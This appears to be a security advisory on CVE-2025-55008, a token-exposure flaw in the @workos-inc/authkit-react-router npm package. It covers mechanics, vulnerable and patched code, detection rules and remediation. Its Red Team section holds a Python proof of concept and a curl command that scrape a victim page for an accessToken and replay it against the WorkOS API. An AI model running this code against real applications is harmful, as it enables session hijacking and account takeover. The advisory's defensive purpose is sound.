CVE-2025-55008

Executive Summary

CVE-2025-55008 is a high-severity information disclosure vulnerability in the @workos-inc/authkit-react-router library, which provides authentication and session management helpers for React Router 7+ applications using WorkOS and AuthKit. The vulnerability arises because the authkitLoader function, intended for server-side use, returns sensitive authentication artifacts (sealedSession and accessToken) to the client. This causes these secrets to be serialized into the browser's HTML source, making them accessible to any user who views the page source or inspects network responses. An attacker can leverage this to hijack user sessions, impersonate authenticated users, and access protected resources. The vulnerability affects all versions up to and including 0.6.1. The patch in version 0.7.0 removes the exposure of these sensitive values from the loader's return object.

Supply Chain & Package Security

This vulnerability affects an npm package (@workos-inc/authkit-react-router). Organizations using this package in their React Router applications should immediately audit their dependency trees for affected versions. The exposure of authentication tokens in client-side HTML represents a critical supply chain risk, as it undermines the security of the entire authentication flow. Developers must ensure that no other custom loaders or data-fetching functions inadvertently expose similar sensitive data.

CVSS Breakdown & Threat Level

CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

• Attack Vector (AV): Network – The vulnerability can be exploited remotely over the network.
• Attack Complexity (AC): Low – No special conditions or complex attack sequences are required.
• Privileges Required (PR): None – The attacker does not need any prior authentication.
• User Interaction (UI): None – The victim does not need to perform any action beyond normal page load.
• Scope (S): Unchanged – The vulnerable component and the impacted component are the same.
• Confidentiality (C): High – The exposure of sealedSession and accessToken leads to complete loss of confidentiality of session data.
• Integrity (I): None – The vulnerability does not directly allow data modification.
• Availability (A): None – The vulnerability does not affect system availability.

Base Score: 7.1 (High)

Threat Level: High. The low attack complexity and network-based vector make this easily exploitable. The exposure of authentication tokens can lead to full account takeover.

Deep Dive & Mechanics

The @workos-inc/authkit-react-router library provides a authkitLoader function that is intended to be used as a route loader in React Router applications. This loader is responsible for verifying the user's session and returning authentication state to the client. However, in vulnerable versions (<=0.6.1), the loader returns the raw sealedSession and accessToken objects as part of its response.

When React Router processes a route loader, it serializes the returned data into the HTML page (typically in a <script> tag or as part of the initial server-rendered state). This means that the sealedSession and accessToken values become embedded in the HTML source code that is sent to the browser. Any user who views the page source, inspects network traffic, or uses browser developer tools can extract these tokens.

The sealedSession is a signed or encrypted session token that can be used to impersonate the user's session. The accessToken is a bearer token that grants direct API access to WorkOS resources. An attacker who obtains these tokens can:

• Replay the sealedSession to hijack the user's session.
• Use the accessToken to call WorkOS APIs on behalf of the user.
• Escalate privileges if the tokens belong to an administrative user.

The vulnerability is a classic case of CWE-200 (Exposure of Sensitive Information to an Unauthorized Actor). The fix in version 0.7.0 ensures that the loader only returns non-sensitive metadata (e.g., user profile info) and does not include the raw authentication artifacts.

Vulnerable vs. Patched Code

Vulnerable Code (<=0.6.1):

// authkitLoader returns sensitive tokens
export async function authkitLoader({ request }) {
  const { sealedSession, accessToken, user } = await getSession(request);
  return { sealedSession, accessToken, user };
}

Patched Code (>=0.7.0):

// authkitLoader returns only non-sensitive user data
export async function authkitLoader({ request }) {
  const { user } = await getSession(request);
  return { user };
}

The patched version removes the sealedSession and accessToken from the return object, preventing them from being serialized into the HTML.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• A target application using @workos-inc/authkit-react-router version <=0.6.1.
• Network access to the application.

Steps:

1. Identify a page that uses the authkitLoader (e.g., a protected dashboard route).
2. Load the page and view the HTML source (Ctrl+U in most browsers).
3. Search for the string "sealedSession" or "accessToken" in the source.
4. Extract the token values from the JSON embedded in the HTML.
5. Use the accessToken to make authenticated API calls to WorkOS endpoints:

   curl -H "Authorization: Bearer <accessToken>" https://api.workos.com/user-management/sessions
   

6. Alternatively, use the sealedSession to forge a session cookie and impersonate the user.

Proof of Concept (PoC) Script:

import requests
import re

target_url = "https://victim.example.com/dashboard"
response = requests.get(target_url)
html = response.text

# Extract accessToken from HTML
match = re.search(r'"accessToken":"([^"]+)"', html)
if match:
    access_token = match.group(1)
    print(f"Extracted Access Token: {access_token}")
    # Use token to access WorkOS API
    api_response = requests.get(
        "https://api.workos.com/user-management/sessions",
        headers={"Authorization": f"Bearer {access_token}"}
    )
    print(api_response.json())
else:
    print("Token not found in HTML source.")

Blue Team (Detection & Hardening)

Detection:

• Monitor for unusual API calls to WorkOS endpoints that originate from unexpected IPs or user agents.
• Alert on any use of accessToken or sealedSession in client-side JavaScript or HTML responses.
• Review server logs for repeated requests to pages that use authkitLoader followed by API calls to WorkOS.

Hardening:

• Immediately upgrade to @workos-inc/authkit-react-router version 0.7.0 or later.
• If immediate upgrade is not possible, implement a reverse proxy or WAF rule to strip sealedSession and accessToken from responses.
• Rotate all existing sealedSession and accessToken values after patching.
• Conduct a code review to ensure no other loaders or endpoints expose sensitive tokens.

Indicators of Compromise (IOCs)

• Network: HTTP responses containing the strings "sealedSession" or "accessToken" in the HTML body.
• File: Presence of @workos-inc/authkit-react-router version <=0.6.1 in package.json or node_modules.
• Behavior: Unauthorized API calls to api.workos.com using tokens extracted from client-side HTML.
• Logs: Repeated access to protected routes followed by WorkOS API calls from the same IP.

Detection Engineering

YARA Rule

rule CVE_2025_55008_AuthKit_Token_Exposure {
    meta:
        description = "Detects exposure of sealedSession or accessToken in HTML responses"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2025-55008"
    strings:
        $token1 = /"sealedSession":"[^"]+"/
        $token2 = /"accessToken":"[^"]+"/
    condition:
        any of them
}

Sigma Rule

title: CVE-2025-55008 AuthKit Token Exposure in HTTP Response
id: 8a4b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects HTTP responses containing sealedSession or accessToken in the body
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: generic
detection:
    selection:
        response.body|contains:
            - 'sealedSession'
            - 'accessToken'
    condition: selection
falsepositives:
    - Legitimate debugging endpoints (should be rare)
level: high
tags:
    - attack.initial_access
    - cve.2025.55008

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-55008 AuthKit Token Exposure"; flow:to_client; content:"sealedSession"; http_server_body; sid:1000001; rev:1;)
alert http any any -> any any (msg:"CVE-2025-55008 AuthKit Token Exposure"; flow:to_client; content:"accessToken"; http_server_body; sid:1000002; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade: Update @workos-inc/authkit-react-router to version 0.7.0 or later.

   npm install @workos-inc/authkit-react-router@0.7.0
   

2. Rotate Secrets: Invalidate all existing sealedSession and accessToken values. Force all users to re-authenticate.
3. Audit: Review all route loaders and data-fetching functions for similar exposure of sensitive data.

Long-Term Mitigations:

• Implement Content Security Policy (CSP) headers to restrict inline scripts and data exfiltration.
• Use HTTP-only cookies for session tokens instead of embedding them in HTML.
• Conduct regular security audits of third-party dependencies.
• Monitor for similar CVEs in the npm ecosystem.

Workaround (if upgrade is not possible):

• Modify the application code to manually strip sealedSession and accessToken from the loader response before it reaches the client. This is not recommended as a permanent fix.

Valters IT